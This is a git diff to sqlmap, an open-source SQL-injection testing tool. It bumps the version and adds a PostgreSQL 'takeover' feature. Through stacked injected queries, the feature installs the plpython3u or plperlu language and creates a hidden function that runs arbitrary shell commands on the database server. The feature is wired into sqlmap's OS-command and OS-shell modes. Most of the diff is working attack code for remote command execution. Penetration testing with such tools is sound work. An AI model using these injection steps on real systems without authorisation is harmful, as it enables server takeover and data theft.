diff --git a/lib/core/settings.py b/lib/core/settings.py index 331933092..e81b41663 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.97" +VERSION = "1.10.7.98" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 3f43afb36..2ec4b4c93 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -52,6 +52,9 @@ class Abstraction(Web, UDF, XP_cmdshell): elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): self.webBackdoorRunCmd(cmd) + elif Backend.isDbms(DBMS.PGSQL) and self.checkPlExec(): + self.plExecCmd(cmd, silent=silent) + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.udfExecCmd(cmd, silent=silent) @@ -74,6 +77,9 @@ class Abstraction(Web, UDF, XP_cmdshell): elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): retVal = self.webBackdoorRunCmd(cmd) + elif Backend.isDbms(DBMS.PGSQL) and self.checkPlExec(): + retVal = self.plExecCmd(cmd) + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): retVal = self.udfEvalCmd(cmd, first, last) @@ -221,7 +227,7 @@ class Abstraction(Web, UDF, XP_cmdshell): logger.warning(warnMsg) - if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and (self.checkCopyExec() or self.checkPlExec()): success = True elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): success = self.udfInjectSys() diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index ee9b70f34..709f6ff2e 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -17,6 +17,7 @@ from lib.core.common import isNoneValue from lib.core.common import isStackingAvailable from lib.core.common import randomStr from lib.core.compat import LooseVersion +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -128,3 +129,48 @@ class Takeover(GenericTakeover): kb.copyExecTest = self.copyExecCmd("echo 1") == '1' return kb.copyExecTest + + def _plRun(self, func, cmd): + output = inject.getValue("%s('%s')" % (func, cmd.replace("'", "''")), resumeValue=False, safeCharEncode=False) + + if isListLike(output): + output = flattenValue(output) + output = filterNone(output) + + if not isNoneValue(output): + output = os.linesep.join(getText(_) for _ in output) + + return output + + def _plExecFunc(self): + # NOTE: forge a command-exec function through an untrusted procedural language. Unlike the shared + # library UDF this needs no precompiled binary (the ancient 'lib_postgresqludf_sys' artifacts), + # only a superuser-installable language - a maintainable fallback when 'COPY ... FROM PROGRAM' is blocked + if kb.get("plExecFunc") is None: + kb.plExecFunc = "" + + if isStackingAvailable() or conf.direct: + func = randomStr(lowercase=True) + + for language, body in (("plpython3u", "import subprocess; return subprocess.check_output(cmd, shell=True).decode()"), + ("plperlu", "return `$_[0]`;")): + inject.goStacked("CREATE EXTENSION IF NOT EXISTS %s" % language, silent=True) + inject.goStacked("CREATE OR REPLACE FUNCTION %s(cmd text) RETURNS text AS $$ %s $$ LANGUAGE %s" % (func, body, language), silent=True) + + if (self._plRun(func, "echo 1") or "").strip() == '1': + kb.plExecFunc = func + + infoMsg = "the back-end DBMS allows command execution via the '%s' procedural language" % language + logger.info(infoMsg) + + break + + return kb.plExecFunc or None + + def checkPlExec(self): + return self._plExecFunc() is not None + + def plExecCmd(self, cmd, silent=False): + func = self._plExecFunc() + + return self._plRun(func, cmd) if func else None